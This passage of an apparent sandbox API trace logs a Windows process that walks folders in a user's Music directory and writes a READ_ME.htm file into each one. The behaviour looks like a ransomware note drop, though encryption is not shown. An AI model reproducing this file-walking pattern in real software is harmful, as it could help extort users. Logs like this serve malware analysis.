cFileName="_5hWa8db7rvReOJ3u", cAlternateFileName="_5HWA8~1")) returned 0 [0155.683] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.683] SetErrorMode (uMode=0x0) returned 0x1 [0155.683] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\Oou2aAo6ewKsoQ9_", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\Oou2aAo6ewKsoQ9_", lpFilePart=0x0) returned 0x42 [0155.683] SetErrorMode (uMode=0x1) returned 0x0 [0155.684] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\Oou2aAo6ewKsoQ9_\\*" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\bdv8razkzfldnmlateh\\oou2aao6ewksoq9_\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6f23b70, ftCreationTime.dwHighDateTime=0x1d8b8af, ftLastAccessTime.dwLowDateTime=0xfcc9dcb0, ftLastAccessTime.dwHighDateTime=0x1d8c0de, ftLastWriteTime.dwLowDateTime=0xfcc9dcb0, ftLastWriteTime.dwHighDateTime=0x1d8c0de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.684] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6f23b70, ftCreationTime.dwHighDateTime=0x1d8b8af, ftLastAccessTime.dwLowDateTime=0xfcc9dcb0, ftLastAccessTime.dwHighDateTime=0x1d8c0de, ftLastWriteTime.dwLowDateTime=0xfcc9dcb0, ftLastWriteTime.dwHighDateTime=0x1d8c0de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.684] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa43d4860, ftCreationTime.dwHighDateTime=0x1d8b4f0, ftLastAccessTime.dwLowDateTime=0xed94e040, ftLastAccessTime.dwHighDateTime=0x1d8b5b3, ftLastWriteTime.dwLowDateTime=0xed94e040, ftLastWriteTime.dwHighDateTime=0x1d8b5b3, nFileSizeHigh=0x0, nFileSizeLow=0x9a81, dwReserved0=0x0, dwReserved1=0x0, cFileName="bBRUiOw_.wav", cAlternateFileName="")) returned 1 [0155.684] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe903f6e0, ftCreationTime.dwHighDateTime=0x1d8b96b, ftLastAccessTime.dwLowDateTime=0x6f814060, ftLastAccessTime.dwHighDateTime=0x1d8c083, ftLastWriteTime.dwLowDateTime=0x6f814060, ftLastWriteTime.dwHighDateTime=0x1d8c083, nFileSizeHigh=0x0, nFileSizeLow=0xa3db, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUThHoaFjzBnbLJqKAq.mp3", cAlternateFileName="JUTHHO~1.MP3")) returned 1 [0155.684] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfac472c0, ftCreationTime.dwHighDateTime=0x1d8b217, ftLastAccessTime.dwLowDateTime=0x9c8035d0, ftLastAccessTime.dwHighDateTime=0x1d8b6ba, ftLastWriteTime.dwLowDateTime=0x9c8035d0, ftLastWriteTime.dwHighDateTime=0x1d8b6ba, nFileSizeHigh=0x0, nFileSizeLow=0xb9a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="R0kUO3vCU9AU_JlO2.wav", cAlternateFileName="R0KUO3~1.WAV")) returned 1 [0155.684] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7831b120, ftCreationTime.dwHighDateTime=0x1d8bd9c, ftLastAccessTime.dwLowDateTime=0xeca62670, ftLastAccessTime.dwHighDateTime=0x1d8c117, ftLastWriteTime.dwLowDateTime=0xeca62670, ftLastWriteTime.dwHighDateTime=0x1d8c117, nFileSizeHigh=0x0, nFileSizeLow=0x5d12, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xl5Vwq9.mp3", cAlternateFileName="")) returned 1 [0155.685] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7831b120, ftCreationTime.dwHighDateTime=0x1d8bd9c, ftLastAccessTime.dwLowDateTime=0xeca62670, ftLastAccessTime.dwHighDateTime=0x1d8c117, ftLastWriteTime.dwLowDateTime=0xeca62670, ftLastWriteTime.dwHighDateTime=0x1d8c117, nFileSizeHigh=0x0, nFileSizeLow=0x5d12, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xl5Vwq9.mp3", cAlternateFileName="")) returned 0 [0155.685] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.685] SetErrorMode (uMode=0x0) returned 0x1 [0155.685] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\Oou2aAo6ewKsoQ9_", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\Oou2aAo6ewKsoQ9_", lpFilePart=0x0) returned 0x42 [0155.686] SetErrorMode (uMode=0x1) returned 0x0 [0155.686] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\Oou2aAo6ewKsoQ9_\\*" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\bdv8razkzfldnmlateh\\oou2aao6ewksoq9_\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6f23b70, ftCreationTime.dwHighDateTime=0x1d8b8af, ftLastAccessTime.dwLowDateTime=0xfcc9dcb0, ftLastAccessTime.dwHighDateTime=0x1d8c0de, ftLastWriteTime.dwLowDateTime=0xfcc9dcb0, ftLastWriteTime.dwHighDateTime=0x1d8c0de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.686] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6f23b70, ftCreationTime.dwHighDateTime=0x1d8b8af, ftLastAccessTime.dwLowDateTime=0xfcc9dcb0, ftLastAccessTime.dwHighDateTime=0x1d8c0de, ftLastWriteTime.dwLowDateTime=0xfcc9dcb0, ftLastWriteTime.dwHighDateTime=0x1d8c0de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.686] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa43d4860, ftCreationTime.dwHighDateTime=0x1d8b4f0, ftLastAccessTime.dwLowDateTime=0xed94e040, ftLastAccessTime.dwHighDateTime=0x1d8b5b3, ftLastWriteTime.dwLowDateTime=0xed94e040, ftLastWriteTime.dwHighDateTime=0x1d8b5b3, nFileSizeHigh=0x0, nFileSizeLow=0x9a81, dwReserved0=0x0, dwReserved1=0x0, cFileName="bBRUiOw_.wav", cAlternateFileName="")) returned 1 [0155.686] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe903f6e0, ftCreationTime.dwHighDateTime=0x1d8b96b, ftLastAccessTime.dwLowDateTime=0x6f814060, ftLastAccessTime.dwHighDateTime=0x1d8c083, ftLastWriteTime.dwLowDateTime=0x6f814060, ftLastWriteTime.dwHighDateTime=0x1d8c083, nFileSizeHigh=0x0, nFileSizeLow=0xa3db, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUThHoaFjzBnbLJqKAq.mp3", cAlternateFileName="JUTHHO~1.MP3")) returned 1 [0155.686] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfac472c0, ftCreationTime.dwHighDateTime=0x1d8b217, ftLastAccessTime.dwLowDateTime=0x9c8035d0, ftLastAccessTime.dwHighDateTime=0x1d8b6ba, ftLastWriteTime.dwLowDateTime=0x9c8035d0, ftLastWriteTime.dwHighDateTime=0x1d8b6ba, nFileSizeHigh=0x0, nFileSizeLow=0xb9a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="R0kUO3vCU9AU_JlO2.wav", cAlternateFileName="R0KUO3~1.WAV")) returned 1 [0155.687] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7831b120, ftCreationTime.dwHighDateTime=0x1d8bd9c, ftLastAccessTime.dwLowDateTime=0xeca62670, ftLastAccessTime.dwHighDateTime=0x1d8c117, ftLastWriteTime.dwLowDateTime=0xeca62670, ftLastWriteTime.dwHighDateTime=0x1d8c117, nFileSizeHigh=0x0, nFileSizeLow=0x5d12, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xl5Vwq9.mp3", cAlternateFileName="")) returned 1 [0155.687] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7831b120, ftCreationTime.dwHighDateTime=0x1d8bd9c, ftLastAccessTime.dwLowDateTime=0xeca62670, ftLastAccessTime.dwHighDateTime=0x1d8c117, ftLastWriteTime.dwLowDateTime=0xeca62670, ftLastWriteTime.dwHighDateTime=0x1d8c117, nFileSizeHigh=0x0, nFileSizeLow=0x5d12, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xl5Vwq9.mp3", cAlternateFileName="")) returned 0 [0155.687] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.687] SetErrorMode (uMode=0x0) returned 0x1 [0155.687] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\Oou2aAo6ewKsoQ9_\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\Oou2aAo6ewKsoQ9_\\READ_ME.htm", lpFilePart=0x0) returned 0x4e [0155.687] SetErrorMode (uMode=0x1) returned 0x0 [0155.687] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\Oou2aAo6ewKsoQ9_\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\bdv8razkzfldnmlateh\\oou2aao6ewksoq9_\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0155.688] GetFileType (hFile=0x1d0) returned 0x1 [0155.688] SetErrorMode (uMode=0x0) returned 0x1 [0155.688] GetFileType (hFile=0x1d0) returned 0x1 [0155.689] WriteFile (in: hFile=0x1d0, lpBuffer=0x288e918*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x288e918*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0155.690] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\X92qh-N07jHhGwpJ3t4", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\X92qh-N07jHhGwpJ3t4", lpFilePart=0x0) returned 0x45 [0155.690] SetErrorMode (uMode=0x1) returned 0x0 [0155.690] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\X92qh-N07jHhGwpJ3t4\\*" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\bdv8razkzfldnmlateh\\x92qh-n07jhhgwpj3t4\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6677c60, ftCreationTime.dwHighDateTime=0x1d8ba3c, ftLastAccessTime.dwLowDateTime=0x4e8e0890, ftLastAccessTime.dwHighDateTime=0x1d8bb18, ftLastWriteTime.dwLowDateTime=0x4e8e0890, ftLastWriteTime.dwHighDateTime=0x1d8bb18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.691] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6677c60, ftCreationTime.dwHighDateTime=0x1d8ba3c, ftLastAccessTime.dwLowDateTime=0x4e8e0890, ftLastAccessTime.dwHighDateTime=0x1d8bb18, ftLastWriteTime.dwLowDateTime=0x4e8e0890, ftLastWriteTime.dwHighDateTime=0x1d8bb18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.691] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ee3ae60, ftCreationTime.dwHighDateTime=0x1d8b6ed, ftLastAccessTime.dwLowDateTime=0xa25b3840, ftLastAccessTime.dwHighDateTime=0x1d8bdbf, ftLastWriteTime.dwLowDateTime=0xa25b3840, ftLastWriteTime.dwHighDateTime=0x1d8bdbf, nFileSizeHigh=0x0, nFileSizeLow=0x1243d, dwReserved0=0x0, dwReserved1=0x0, cFileName="9RuDsi-.mp3", cAlternateFileName="")) returned 1 [0155.691] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf9b6dd0, ftCreationTime.dwHighDateTime=0x1d8bea9, ftLastAccessTime.dwLowDateTime=0x7c2bdc90, ftLastAccessTime.dwHighDateTime=0x1d8c0e6, ftLastWriteTime.dwLowDateTime=0x7c2bdc90, ftLastWriteTime.dwHighDateTime=0x1d8c0e6, nFileSizeHigh=0x0, nFileSizeLow=0xb5f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="lwK_EmH38JsR0Qd-.mp3", cAlternateFileName="LWK_EM~1.MP3")) returned 1 [0155.691] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb9cecc0, ftCreationTime.dwHighDateTime=0x1d8bfb7, ftLastAccessTime.dwLowDateTime=0xa9a263b0, ftLastAccessTime.dwHighDateTime=0x1d8c078, ftLastWriteTime.dwLowDateTime=0xa9a263b0, ftLastWriteTime.dwHighDateTime=0x1d8c078, nFileSizeHigh=0x0, nFileSizeLow=0x3c06, dwReserved0=0x0, dwReserved1=0x0, cFileName="smijt5IoKMcY.mp3", cAlternateFileName="SMIJT5~1.MP3")) returned 1 [0155.691] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb9cecc0, ftCreationTime.dwHighDateTime=0x1d8bfb7, ftLastAccessTime.dwLowDateTime=0xa9a263b0, ftLastAccessTime.dwHighDateTime=0x1d8c078, ftLastWriteTime.dwLowDateTime=0xa9a263b0, ftLastWriteTime.dwHighDateTime=0x1d8c078, nFileSizeHigh=0x0, nFileSizeLow=0x3c06, dwReserved0=0x0, dwReserved1=0x0, cFileName="smijt5IoKMcY.mp3", cAlternateFileName="SMIJT5~1.MP3")) returned 0 [0155.691] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.748] SetErrorMode (uMode=0x0) returned 0x1 [0155.749] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\X92qh-N07jHhGwpJ3t4", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\X92qh-N07jHhGwpJ3t4", lpFilePart=0x0) returned 0x45 [0155.749] SetErrorMode (uMode=0x1) returned 0x0 [0155.749] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\X92qh-N07jHhGwpJ3t4\\*" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\bdv8razkzfldnmlateh\\x92qh-n07jhhgwpj3t4\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6677c60, ftCreationTime.dwHighDateTime=0x1d8ba3c, ftLastAccessTime.dwLowDateTime=0x4e8e0890, ftLastAccessTime.dwHighDateTime=0x1d8bb18, ftLastWriteTime.dwLowDateTime=0x4e8e0890, ftLastWriteTime.dwHighDateTime=0x1d8bb18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.749] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6677c60, ftCreationTime.dwHighDateTime=0x1d8ba3c, ftLastAccessTime.dwLowDateTime=0x4e8e0890, ftLastAccessTime.dwHighDateTime=0x1d8bb18, ftLastWriteTime.dwLowDateTime=0x4e8e0890, ftLastWriteTime.dwHighDateTime=0x1d8bb18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.750] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ee3ae60, ftCreationTime.dwHighDateTime=0x1d8b6ed, ftLastAccessTime.dwLowDateTime=0xa25b3840, ftLastAccessTime.dwHighDateTime=0x1d8bdbf, ftLastWriteTime.dwLowDateTime=0xa25b3840, ftLastWriteTime.dwHighDateTime=0x1d8bdbf, nFileSizeHigh=0x0, nFileSizeLow=0x1243d, dwReserved0=0x0, dwReserved1=0x0, cFileName="9RuDsi-.mp3", cAlternateFileName="")) returned 1 [0155.750] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf9b6dd0, ftCreationTime.dwHighDateTime=0x1d8bea9, ftLastAccessTime.dwLowDateTime=0x7c2bdc90, ftLastAccessTime.dwHighDateTime=0x1d8c0e6, ftLastWriteTime.dwLowDateTime=0x7c2bdc90, ftLastWriteTime.dwHighDateTime=0x1d8c0e6, nFileSizeHigh=0x0, nFileSizeLow=0xb5f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="lwK_EmH38JsR0Qd-.mp3", cAlternateFileName="LWK_EM~1.MP3")) returned 1 [0155.750] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb9cecc0, ftCreationTime.dwHighDateTime=0x1d8bfb7, ftLastAccessTime.dwLowDateTime=0xa9a263b0, ftLastAccessTime.dwHighDateTime=0x1d8c078, ftLastWriteTime.dwLowDateTime=0xa9a263b0, ftLastWriteTime.dwHighDateTime=0x1d8c078, nFileSizeHigh=0x0, nFileSizeLow=0x3c06, dwReserved0=0x0, dwReserved1=0x0, cFileName="smijt5IoKMcY.mp3", cAlternateFileName="SMIJT5~1.MP3")) returned 1 [0155.750] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb9cecc0, ftCreationTime.dwHighDateTime=0x1d8bfb7, ftLastAccessTime.dwLowDateTime=0xa9a263b0, ftLastAccessTime.dwHighDateTime=0x1d8c078, ftLastWriteTime.dwLowDateTime=0xa9a263b0, ftLastWriteTime.dwHighDateTime=0x1d8c078, nFileSizeHigh=0x0, nFileSizeLow=0x3c06, dwReserved0=0x0, dwReserved1=0x0, cFileName="smijt5IoKMcY.mp3", cAlternateFileName="SMIJT5~1.MP3")) returned 0 [0155.750] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.751] SetErrorMode (uMode=0x0) returned 0x1 [0155.751] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\X92qh-N07jHhGwpJ3t4\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\X92qh-N07jHhGwpJ3t4\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0155.751] SetErrorMode (uMode=0x1) returned 0x0 [0155.751] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\X92qh-N07jHhGwpJ3t4\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\bdv8razkzfldnmlateh\\x92qh-n07jhhgwpj3t4\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0155.752] GetFileType (hFile=0x1d0) returned 0x1 [0155.752] SetErrorMode (uMode=0x0) returned 0x1 [0155.752] GetFileType (hFile=0x1d0) returned 0x1 [0155.752] WriteFile (in: hFile=0x1d0, lpBuffer=0x28952c8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x28952c8*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0155.754] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\_5hWa8db7rvReOJ3u", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\_5hWa8db7rvReOJ3u", lpFilePart=0x0) returned 0x43 [0155.754] SetErrorMode (uMode=0x1) returned 0x0 [0155.754] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\_5hWa8db7rvReOJ3u\\*" (normalized: "c:\\users\\keecfmwgj\\music\\4was\\bdv8razkzfldnmlateh\\_5hwa8db7rvreoj3u\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbb6fa610, ftCreationTime.dwHighDateTime=0x1d8b41c, ftLastAccessTime.dwLowDateTime=0xe1c640c0, ftLastAccessTime.dwHighDateTime=0x1d8bd96, ftLastWriteTime.dwLowDateTime=0xe1c640c0, ftLastWriteTime.dwHighDateTime=0x1d8bd96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.755] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbb6fa610, ftCreationTime.dwHighDateTime=0x1d8b41c, ftLastAccessTime.dwLowDateTime=0xe1c640c0, ftLastAccessTime.dwHighDateTime=0x1d8bd96, ftLastWriteTime.dwLowDateTime=0xe1c640c0, ftLastWriteTime.dwHighDateTime=0x1d8bd96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.755] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250a5cb0, ftCreationTime.dwHighDateTime=0x1d8bc19, ftLastAccessTime.dwLowDateTime=0x330239f0, ftLastAccessTime.dwHighDateTime=0x1d8bf5c, ftLastWriteTime.dwLowDateTime=0x330239f0, ftLastWriteTime.dwHighDateTime=0x1d8bf5c, nFileSizeHigh=0x0, nFileSizeLow=0x7dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="2CIZlUqIrVrUkau7.wav", cAlternateFileName="2CIZLU~1.WAV")) returned 1 [0155.755] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762b6640, ftCreationTime.dwHighDateTime=0x1d8b54b, ftLastAccessTime.dwLowDateTime=0xc736430, ftLastAccessTime.dwHighDateTime=0x1d8bed5, ftLastWriteTime.dwLowDateTime=0xc736430, ftLastWriteTime.dwHighDateTime=0x1d8bed5, nFileSizeHigh=0x0, nFileSizeLow=0x7046, dwReserved0=0x0, dwReserved1=0x0, cFileName="C5NIu8Do_.m4a", cAlternateFileName="C5NIU8~1.M4A")) returned 1 [0155.755] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83038ac0, ftCreationTime.dwHighDateTime=0x1d8c025, ftLastAccessTime.dwLowDateTime=0x86fa8780, ftLastAccessTime.dwHighDateTime=0x1d8c072, ftLastWriteTime.dwLowDateTime=0x86fa8780, ftLastWriteTime.dwHighDateTime=0x1d8c072, nFileSizeHigh=0x0, nFileSizeLow=0x187d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jWJm5piZe pa.wav", cAlternateFileName="JWJM5P~1.WAV")) returned 1 [0155.755] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd95e50, ftCreationTime.dwHighDateTime=0x1d8be01, ftLastAccessTime.dwLowDateTime=0x1c208580, ftLastAccessTime.dwHighDateTime=0x1d8c0fa, ftLastWriteTime.dwLowDateTime=0x1c208580, ftLastWriteTime.dwHighDateTime=0x1d8c0fa, nFileSizeHigh=0x0, nFileSizeLow=0x5287, dwReserved0=0x0, dwReserved1=0x0, cFileName="_U4_8ZnjbHK majBws0o.wav", cAlternateFileName="_U4_8Z~1.WAV")) returned 1 [0155.755] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd95e50, ftCreationTime.dwHighDateTime=0x1d8be01, ftLastAccessTime.dwLowDateTime=0x1c208580, ftLastAccessTime.dwHighDateTime=0x1d8c0fa, ftLastWriteTime.dwLowDateTime=0x1c208580, ftLastWriteTime.dwHighDateTime=0x1d8c0fa, nFileSizeHigh=0x0, nFileSizeLow=0x5287, dwReserved0=0x0, dwReserved1=0x0, cFileName="_U4_8ZnjbHK majBws0o.wav", cAlternateFileName="_U4_8Z~1.WAV")) returned 0 [0155.755] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.756] SetErrorMode (uMode=0x0) returned 0x1 [0155.756] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\_5hWa8db7rvReOJ3u", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\4waS\\Bdv8RAzkZflDNMLATEh\\_5hWa8db7rvReOJ3u", lpFilePart=0x0) returned 